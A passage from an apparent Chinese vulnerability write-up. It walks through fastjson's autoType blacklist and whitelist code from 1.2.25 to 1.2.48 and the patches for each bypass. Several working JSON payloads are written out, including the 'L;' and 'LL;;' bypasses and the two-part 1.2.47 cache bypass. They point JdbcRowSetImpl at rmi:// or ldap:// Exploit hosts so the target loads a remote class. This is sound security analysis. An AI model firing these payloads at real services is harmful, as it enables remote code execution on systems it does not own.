//一些固定类型的判断,此处不会对clazz进行赋值,此处省略

if (!autoTypeSupport) {
//进行黑名单匹配,匹配中,直接报错退出
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
//对白名单,进行匹配;如果匹配中,调用loadClass加载,赋值clazz直接返回
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}

//此处省略了当clazz不为null时的处理情况,与expectClass有关
//但是我们这里输入固定是null,不执行此处代码

//可以发现如果上面没有触发黑名单,返回,也没有触发白名单匹配中的话,就会在此处被拦截报错返回。
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
//执行不到此处
return clazz;
}

可以得出在默认的AutoTypeSupport为False时,要求不匹配到黑名单,同时必须匹配到白名单的class才可以成功加载。

看一下默认黑名单,默认白名单(最下面,默认为空)

修复1.2.24黑名单.png

这条路完全被白名单堵死了,所以默认的情况下是不可能绕过的。我们的两个payload也都被com.sun这一条黑名单给匹配了。

1.2.25-1.2.41绕过

所以接下来所谓的绕过都是在服务端显性开启AutoTypeSupport为True的情况下进行的。(这是一个很大的限制条件)

我们先来看显性修改AutoTypeSupport为True时的代码:

1.2.25版本com.alibaba.fastjson.parser.ParserConfig#checkAutoType(关闭白名单机制)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
    public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}

final String className = typeName.replace('$', '.');


if (autoTypeSupport || expectClass != null) {
//先进行白名单匹配,如果匹配成功则直接返回。可见所谓的关闭白名单机制是不只限于白名单
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
//同样进行黑名单匹配,如果匹配成功,则报错推出。
//需要注意这百年所谓的匹配都是startsWith开头匹配
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

//一些固定类型的判断,不会对clazz进行赋值,此处省略

//不匹配白名单中也不匹配黑名单的,进入此处,进行class加载
if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}

//对于加载的类进行危险性判断,判断加载的clazz是否继承自Classloader与DataSource
if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
}
//返回加载的class
return clazz;
}

可见在显性关闭白名单的情况下,我们也需要绕过黑名单检测,同时加载的类不能继承自Classloader与DataSource。

看似我们只能找到其他的利用类跟黑名单进行硬刚。但我们再跟一下类的加载TypeUtils.loadClass就会有所发现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className == null || className.length() == 0) {
return null;
}

Class<?> clazz = mappings.get(className);

if (clazz != null) {
return clazz;
}

//特殊处理1!
if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
//特殊处理2!
if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
...
  • 如果这个className是以[开头我们会去掉[进行加载!

    但是实际上在代码中也可以看见它会返回Array的实例变成数组。在实际中它远远不会执行到这一步,在json串解析时就已经报错。

  • 如果这个className是以L开头;结尾,就会去掉开头和结尾进行加载!

那么加上L开头;结尾实际上就可以绕过所有黑名单。那么理所当然的payload就为:

1
2
3
4
//1.2.25-41绕过 jndi ldap
{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
//1.2.25-41绕过 7u21
同样加上L;,payload太长了且不唯一,就不写了

1.2.25-jndi-计算器.png

1.2.41-jndi-计算器.png

1.2.41-7u21-计算器.png

1.2.42版本修复

在1.2.42中对于1.2.41版本进行了修复,对于两个jar进行对比可以发现DefaultJSONParser.java没有什么关键的修改。

1.41-1.42比较.png

关键是在ParserConfig.java中修改了以下两点:

  1. 修改明文黑名单为黑名单hash
  2. 对于传入的类名,删除开头L和结尾的;

黑名单大致形式如下:

1.2.42黑名单hash.png

虽然说利用hash可以让我们不知道禁用了什么类,但是加密方式是有写com.alibaba.fastjson.parser.ParserConfig#addDeny中的com.alibaba.fastjson.util.TypeUtils#fnv1a_64,我们理论上可以遍历jar,字符串,类去碰撞得到这个hash的值。(因为常用的包是有限的)

1
2
3
4
5
6
7
8
9
10
public static long fnv1a_64(String key){
long hashCode = 0xcbf29ce484222325L;
for(int i = 0; i < key.length(); ++i){
char ch = key.charAt(i);
hashCode ^= ch;
hashCode *= 0x100000001b3L;
}
return hashCode;
}
//可以注意到,计算hash是遍历每一位进行固定的异或和乘法运算进行累积运算

有一个Github项目就是完成了这样的事情,并列出了目前已经得到的hash。

再是对于传入的类名,删除开头L和结尾的;

com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
      // hash算法常量
final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;
// 对传入类名的第一位和最后一位做了hash,如果是L开头,;结尾,删去开头结尾
// 可以发现这边只进行了一次删除
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L)
{
className = className.substring(1, className.length() - 1);
}
// 计算处理后的类名的前三个字符的hash
final long h3 = (((((BASIC ^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME)
^ className.charAt(2))
* PRIME;

if (autoTypeSupport || expectClass != null) {
long hash = h3;
//基于前三个字符的hash结果继续进行hash运算
//这边一位一位运算比较其实就相当于之前的startswith,开头匹配
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
//将运算结果跟白名单做比对
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
//将运算结果跟黑名单做比对
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

//之后就是一样的处理,根据类名加载类

确实有效的干掉了L开头;结尾的payload。

1.2.42绕过

但是可以发现在以上的处理中,只删除了一次开头的L和结尾的;,这里就好像使用黑名单预防SQL注入,只删除了一次敏感词汇的防御错误一样,重复一下就可以被轻易的绕过。所以payload如下:

1
2
3
4
//1.2.42绕过 jndi ldap
{"@type":"LLcom.sun.rowset.RowSetImpl;;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
//1.2.42绕过 7u21
同样加上LL ;;,payload太长了且不唯一,就不写了

1.2.42-绕过jndi-计算器.png

1.2.42绕过7u21-计算器.png

1.2.43版本修复

在1.2.43中对于1.2.42版本可绕过的情况进行了修复。

修改了com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)的部分代码

1
2
3
4
5
6
7
8
9
10
11
12
13
//hash计算基础参数
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
//L开头,;结尾
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
//LL开头
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
//直接爆出异常
throw new JSONException("autoType is not support. " + typeName);
}

className = className.substring(1, className.length() - 1);
}

可见就对了LL开头的绕过进行了封堵。

至此我们之前的两个利用链JdbcRowSetImpl和TemplatesImpl正式被封堵了(暂时)。在服务端放开白名单限制的情况下也绕不过黑名单。更别说服务端默认是开启白名单的,这时候fastjson的风险已经很小了。

之后就是不断有新的组件作为利用链引入进行攻击,和黑名单的不断扩充之间的拉锯战。(之前也说过着一切都是在显性关闭白名单的情况下)

1.2.44 [ 限制

1.2.44补充了loadclass时[的利用情况,上面说到过,实际上这种形式的payload是用不了的。

比如FastjsonExpliot框架中的{"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"###RMI_LDAP_ADDRESS###","autoCommit":true}

1.2.42-左括号-失败.png

但是在1.2.44中仍然对于这类类名进行了限制,使用同样的payload进行测试。

1.2.44-左括号-失败.png

1.2.45 黑名单添加

1.2.45添加了黑名单,封堵了一些可以绕过黑名单的payload,比如:

1
2
//需要有第三方组件ibatis-core 3:0
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}

黑名单封堵呢,其实是一个动态的过程,会有很多新增的jar包,如果服务端引入了这些额外的jar包,就会引入一条可利用链,,或者jdk又被发掘出了新增的链等等都会导致黑名单可被绕过。当然在1.2.25之后这都是要在显性白名单的情况下,才有的问题。

之后更新的版本比如1.2.46也都在补充黑名单

但是在1.2.47时,一个全新的payload就没有这种限制,通杀。

1.2.47 通杀payload!

我们在分析1.2.47时,将从一个挖掘0day的角度去一步步分析,企图复现这个漏洞的挖掘过程,不然正向看,不得劲。payload在最后给出。

我们重新来理一下com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)这个阻挠我们的方法,上面我们提到过白名单开关时我们走的是不一样的路线,还在注释中提到会有一些固定类型的判断,这就是通杀payload的关键。

我们接下来看的是1.2.47版本的包,我们看总结后的代码结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
//1.typeName为null的情况,略

//2.typeName太长或太短的情况,略

//3.替换typeName中$为.,略

//4.使用hash的方式去判断[开头,或L开头;结尾,直接报错
//这里经过几版的修改,有点不一样了,但是绕不过,也略

//5.autoTypeSupport为true(白名单关闭)的情况下,返回符合白名单的,报错符合黑名单的
//(这里可以发现,白名单关闭的配置情况下,必须先过黑名单,但是留下了一线生机)
if (autoTypeSupport || expectClass != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
//要求满足黑名单并且从一个Mapping中找不到这个类才会报错,这个Mapping就是我们的关键
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

//6.从一个Mapping中获取这个类名的类,我们之后看
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
//7.从反序列化器中获取这个类名的类,我们也之后看
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
//8.如果在6,7中找到了clazz,这里直接return出去,不继续了
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
//无论是默认白名单开启还是手动白名单关闭的情况,我们都要从这个return clazz中出去
return clazz;
}
// 9. 针对默认白名单开启情况的处理,这里
if (!autoTypeSupport) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= c;
hash *= PRIME;
//碰到黑名单就死
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
//满足白名单可以活,但是白名单默认是空的
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
//针对expectCLass的特殊处理,没有expectCLass,不管
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
}
}
//通过以上全部检查,就可以从这里读取clazz
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}

//这里对一些特殊的class进行处理,不重要

//特性判断等

return clazz;
}

仔细分析了一下,可以发现无论是白名单开启与否,我们的恶意类都要想办法必须要从第8步的return clazz出去才有机会。

  1. 因为白名单关闭(手动)时,我们如果进入第九步,会百分百跟黑名单正面撞上,必然被杀。我们只能在这之前溜出去,机会就在6,7步中。
  2. 白名单开启时(默认),虽然在第五步时,我们也会跟黑名单撞上,但是却莫名其妙的会有一线生机,只要满足TypeUtils.getClassFromMapping(typeName) != null(是!=)反而可以从黑名单中逃开。然后从第八步中return出去。

那往之前看clazz可以从哪里赋值,5、6、7三个地方,但是5是白名单匹配才返回。这不可能。

于是开始关注6,7这两个操作到底是干啥的,(其实根据已知白名单开不开都通杀的特性,肯定是在第6步TypeUtils.getClassFromMapping中得到的恶意类,但是这边都瞅瞅,后面也会用到)

  1. TypeUtils.getClassFromMapping(typeName)
  2. deserializers.findClass(typeName)

deserializers.findClass(typeName)

先看desesrializers,一个hashmap

1
private final IdentityHashMap<Type, ObjectDeserializer> deserializers         = new IdentityHashMap<Type, ObjectDeserializer>();

因为我们是从中取值,关注一下它是在哪里赋值的,当前文件搜索deserializers.put

com.alibaba.fastjson.parser.ParserConfig#initDeserializers:给出一部分截图

initDeserializers.png

initDeserializers这个函数是在parserConfig类的构造函数中初始化时调用的,存放的是一些认为没有危害的固定常用类。理所当然不会包含我们的利用类。

除此之外还有两个类会影响到desesrializers这个map

1
2
com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type)
//太过复杂代码省略

在这个类中会往deserializers这个mapping中放入一些特定类:java.awt.*java.time.*java.util.Optional*java.nio.file.PathMap.Entry.class、以及在服务器META-INF/services/目录下存放的class文件,还有枚举类的一些判断。对于一些数组,集合,map等再调用putDesserializer(这也是另一个会影响到desesrializers这个map的类)放入deserializers这个mapping中。

在这个类中对于类名有着严格的要求和限定,不太行。看下一个。

1
2
3
4
com.alibaba.fastjson.parser.ParserConfig#putDeserializer
public void putDeserializer(Type type, ObjectDeserializer deserializer) {
deserializers.put(type, deserializer);
}

代码极其简单,但是只在ParserConfig#getDeserializer(就是上面那个类)和initJavaBeanDeserializers类中使用过。但是后者是一个初始化函数,我们同样不可控输入值。

那么我们好像发现我们的输入不可以改变deserializers这个mapping的值,从而自然也不能进一步在checkAutoType中被get读取出来,也就绕过不了。

这个deserializers在checkAutoType方法中存在的意义应该是直接放行一些常用的类,来提升解析速度。

那我们换一条路看看TypeUtils.getClassFromMapping(typeName)

TypeUtils.getClassFromMapping(typeName)

先看getClassFromMapping

1
2
3
4
5
6
7
//这个map是一个hashmap
private static ConcurrentMap<String,Class<?>> mappings = new ConcurrentHashMap<String,Class<?>>(16, 0.75f, 1);
...
public static Class<?> getClassFromMapping(String className){
//很简单的一个mapping的get
return mappings.get(className);
}

按照套路去寻找影响这个mappings的put方法。搜索mappings.put,在下面这两个方法中有找到:

1
2
com.alibaba.fastjson.util.TypeUtils#addBaseClassMappings
com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader, boolean)

addBaseClassMappings这个方法,方法内容很长,我们就不细看了,但是它是一个没有传参的方法….这样我们就没有一个可控的参数去控制其中的内容。

1
2
3
4
5
6
7
8
private static void addBaseClassMappings(){
mappings.put("byte", byte.class);
mappings.put("short", short.class);
mappings.put("int", int.class);
mappings.put("long", long.class);
//诸如此类的放入一些固定的class至mappings中
...
}

并且还只在两个没毛病的地方调用了这个方法:

addBaseClassMappings.png

前者是一个static静态代码块:

1
2
3
static{
addBaseClassMappings();
}

后者是一个clearClassMapping方法:

1
2
3
4
public static void clearClassMapping(){
mappings.clear();
addBaseClassMappings();
}

没戏,不可控。

再看另一个有mappings.put的位置TypeUtils.loadClass,我们需要详细看看这个方法:

其实这个TypeUtils.loadClass,在1.2.25-1.2.41中我们分析过一小段,其实是同一个函数!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
//判断className是否为空,是的话直接返回null
if(className == null || className.length() == 0){
return null;
}
//判断className是否已经存在于mappings中
Class<?> clazz = mappings.get(className);
if(clazz != null){
//是的话,直接返回
return clazz;
}
//判断className是否是[开头,1.2.44中针对限制的东西就是这个
if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
//判断className是否L开头;结尾,1.2.42,43中针对限制的就是这里,但都是在外面限制的,里面的东西没变
if(className.startsWith("L") && className.endsWith(";")){
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
//1. 我们需要关注的mappings在这里有
try{
//输入的classLoader不为空时
if(classLoader != null){
//调用加载器去加载我们给的className
clazz = classLoader.loadClass(className);
//!!如果cache为true!!
if (cache) {
//往我们关注的mappings中写入这个className
mappings.put(className, clazz);
}
return clazz;//返回加载出来的类
}
} catch(Throwable e){
e.printStackTrace();
// skip
}
//2. 在这里也有,但是好像这里有关线程,比较严格。
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
//同样需要输入的cache为true,才有可能修改
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// skip
}
//3. 这里也有,限制很松
try{
//加载类
clazz = Class.forName(className);
//直接放入mappings中
mappings.put(className, clazz);
return clazz;
} catch(Throwable e){
// skip
}
return clazz;
}

可以发现如果可以控制输入参数,是可以往这个mappings中写入任意类名的(从而绕过autocheck的黑白名单)

看看这个类在什么地方被引用。

loadClass.png

前三者都是在ParserConfig#autocheck这个我们需要攻克的类中,如果能在那里调用loadClass并传入一个恶意类去加载。那就已经完成了我们的最终目的,根本不需要通过mappings这个空子去钻。

所以只需要看TypeUtils.java中的引用处。

1
2
3
public static Class<?> loadClass(String className, ClassLoader classLoader) {
return loadClass(className, classLoader, true);
}

cache为true,一个好消息,因为有三处修改mapping的地方,两个地方需要cache为true。

loadClass2.png

这百年可以看到在这个类中会自己引用自己的类,跳来跳去,但是也有外部的类引用当前类。这是我们主要关注的。(因为一个底层的工具类,不可能被我们直接调用到)

慢慢看,把跳出去的接口理出来

1
/com/alibaba/fastjson/serializer/MiscCodec.java#deserialze(DefaultJSONParser parser, Type clazz, Object fieldName):334

loadclass3.png

这两个静态的,没搞头,就不看了。

只有上面一个跳出去MiscCodec.java#deserialze的,我们再过去看看:

以下代码段请一大段一大段倒着回退回来看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
  public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
JSONLexer lexer = parser.lexer;

//4. clazz类型等于InetSocketAddress.class的处理。
//我们需要的clazz必须为Class.class,不进入
if (clazz == InetSocketAddress.class) {
...
}

Object objVal;
//3. 下面这段赋值objVal这个值
//此处这个大的if对于parser.resolveStatus这个值进行了判断,我们在稍后进行分析这个是啥意思
if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
//当parser.resolveStatus的值为 TypeNameRedirect
parser.resolveStatus = DefaultJSONParser.NONE;
parser.accept(JSONToken.COMMA);
//lexer为json串的下一处解析点的相关数据
//如果下一处的类型为string
if (lexer.token() == JSONToken.LITERAL_STRING) {
//判断解析的下一处的值是否为val,如果不是val,报错退出
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
//移动lexer到下一个解析点
//举例:"val":(移动到此处->)"xxx"
lexer.nextToken();
} else {
throw new JSONException("syntax error");
}

parser.accept(JSONToken.COLON);
//此处获取下一个解析点的值"xxx"赋值到objVal
objVal = parser.parse();

parser.accept(JSONToken.RBRACE);
} else {
//当parser.resolveStatus的值不为TypeNameRedirect
//直接解析下一个解析点到objVal
objVal = parser.parse();
}

String strVal;
//2. 可以看到strVal是由objVal赋值,继续往上看
if (objVal == null) {
strVal = null;
} else if (objVal instanceof String) {
strVal = (String) objVal;
} else {
//不必进入的分支
}

if (strVal == null || strVal.length() == 0) {
return null;
}

//省略诸多对于clazz类型判定的不同分支。

//1. 可以得知,我们的clazz必须为Class.class类型
if (clazz == Class.class) {
//我们由这里进来的loadCLass
//strVal是我们想要可控的一个关键的值,我们需要它是一个恶意类名。往上看看能不能得到一个恶意类名。
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}

那么经过分析,我们可以得到的关注点又跑到parser.resolveStatus这上面来了

  1. parser.resolveStatus == TypeNameRedirect 我们需要json串中有一个“val”:”恶意类名”,来进入if语句的true中,污染objVal,再进一步污染strVal。我们又需要clazz为class类来满足if判断条件进入loadClass。

    所以一个json串的格式大概为"@type"="java.lang.Class","val":"恶意类名" 这样一个东西,大概如此。

  2. parser.resolveStatus != TypeNameRedirect进入if判断的false中,可以直接污染objVal。再加上clazz=class类

    大概需要一个json串如下:"@type"="java.lang.Class","恶意类名"

至于哪里调用了MiscCodec.java#deserialze,查看引用处其实可以发现这是一个非常多地方会调用到的常用函数,就比如解析过程中的com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)-384行

DefaultJSONParser-384.png

定向砸payload

那么在得到如上信息中,我们就不必一直大海摸虾。之前拿到了两个分支paylaod,拿一个可能的paylaod,试试水看看能不能往TypeUtils.getClassFromMapping(typeName)里面的mapping污染我们的恶意类。

1
2
3
4
{
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
}

先是日常进入解析主要函数com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)

这里有我们的三个在乎的点,如下顺序:

1
2
3
4
5
6
7
8
9
10
public final Object parseObject(final Map object, Object fieldName) {
...
//先是checkAutoType这个万恶的过滤函数
clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
...
//ResolveStatus的赋值
this.setResolveStatus(TypeNameRedirect);
//污染TypeUtils.getClassFromMapping的触发处
Object obj = deserializer.deserialze(this, clazz, fieldName);
}

com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)这个分析过了。

class-go1.png

deserializers.findClass(typeName)出去,这是我们之前分析过的一处可以绕过白名单黑名单出去的地方,但是这里只存放一些默认类,不可污染。而我们的class.class就在这个默认类列表中,自然直接出去了。(比如class.class怎么也不会匹配到黑名单,不这里出去,也是可以下面出去的)

class-go2png.png

再是,给ResolveStatus赋值了TypeNameRedirect,这样到deserialze里面就可以确定了分支,与预计吻合。这个payload砸的没错。

class-go3.png

可以发现进入了我们预计希望进入的com.alibaba.fastjson.serializer.MiscCodec#deserialze,可以看到上面有复杂的if判断,这就是得到初步的思路之后砸payload的好处,如果满足条件,我们就不用费力气去想这些是为啥的,反正默认进来了,不满足我们再去看哪里不符合就行。

class-go4.png

一切按照计划进行。

class-go5.png

由于objVal是一个String,继续赋值给strVal

class-go6.png

跳跳跳,我们之前由checkAutoType得到的clazz为Class.class,进入loadCLass

class-go7.png

默认cache为true,之前分析的时候也说到cache为true对我们来说是个好消息。接下来会有三种情况可以污染我们的关键mapping。看看会进入哪一个

class-go8.png

下一个

class-go9.png

第二个if中,帮我们加载了一个classloader,再因为上一层的cache默认为true,就真的执行成功了mappings.put放入了我们的恶意类名!

完美穿针引线,一环扣一环,往mappings中加入了我们的恶意类。这就是大黑阔嘛,爱了爱了。

现在回头来看这个mapping看到现在,就是放入一些已经加载过了的类,在checkAutoType中就不进行检查来提高速度。

来一个调用栈:

1.2.47-调用栈.png

那么获取一个有恶意类的类似缓存机制的mapping有啥用呢。再进一步@type就好。

1.2.47-success.png

之前看到其他博客说,一开始payload是分成两截,因为服务器的mappings自从加过恶意类之后,就会一直保持,然后就可以随便打了。

但是之后为了不让负载均衡,平摊payload造成有几率失败,就变成了以下一个。

1
2
3
4
5
6
7
8
9
10
11
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Exploit",
"autoCommit": true
}
}

审计结束完美。

回顾一下进来的过程:

我们进入com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)

  1. checkAutoType方法拿到Class.class
  2. 设置了ResolveStatus为TypeNameRedirect,决定了之后deserialze中的if走向
  3. 进入deserializer.deserialze

com.alibaba.fastjson.serializer.MiscCodec#deserialze

  1. parser.resolveStatus为TypeNameRedirect,进入if为true走向
  2. 解析”val”:”恶意类名”,放入objVal,再传递到strVal
  3. 因为clazz=Class.class,进入TypeUtils.loadClass,传入strVal

com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader)

  1. 添加默认cache为true,调用loadClass

com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader, boolean)

  1. 三个改变mappings的第一处,由于classLoader=null,不进入
  2. 三个改变mappings的第二处,classLoader=null,进入;获取线程classLoader,由于cache为true,添加mappings。

1.2.48修复

对比代码。修改了cache这一处。(右侧为1.2.47代码)

1.2.48修复.png

本来应该进入一个loadClass(两个参数)的方法,然后默认cache为true,在进入三个参数的loadClass。

现在这边直接指定过来三个参数loadClass同时cache为false。

1.2.48try.png

可见,在同样payload执行时,我们原来说会改变mappings的第二处就因为cache而无法改变。

但是我们还记得之前分析时有第三处不需要校验cache的mappings赋值!精神一振,这就是0day的气息么!

然后…….

1.2.48修复2.png

这就是程序员的力量么,两行代码秒杀一切,爱了爱了,0day再见。

1.2.48以后

在这个通杀payload之后,就又恢复了一片平静的,在服务端手动配置关闭白名单情况下的黑名单与绕过黑名单的战争。这个战争估计随着代码不断迭代,也是不会停止的。

之后又出了一个影响广泛的拒绝服务漏洞,在1.2.60版本被修复。

当然这与反序列化就无关了,同时这篇文章也写得太久,太长了。也算是给2019做个结尾吧。

所以,

2020年,新年快乐。

要不 下场雪吧?

参考

l1nk3r大佬

https://www.kingkk.com/2019/07/Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-1-2-24-1-2-48/

https://p0sec.net/index.php/archives/123/

https://b1ue.cn/archives/184.html

https://github.com/LeadroyaL/fastjson-blacklist

https://p0rz9.github.io/2019/06/02/Fatsjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%90%8E%E7%BB%AD/

https://github.com/vulhub/vulhub/tree/master/fastjson

http://wp.blkstone.me/2018/10/fastjson-serial-1/

https://blog.csdn.net/kingmax54212008/article/details/95641681

https://github.com/alibaba/fastjson/tree/1.2.47

https://www.freebuf.com/vuls/208339.html

https://www.freebuf.com/column/180711.html

https://github.com/jas502n/fastjson-RCE

可能还看了很多。。但是真的回头找不到了,向网上老哥们致敬 (^^ゞ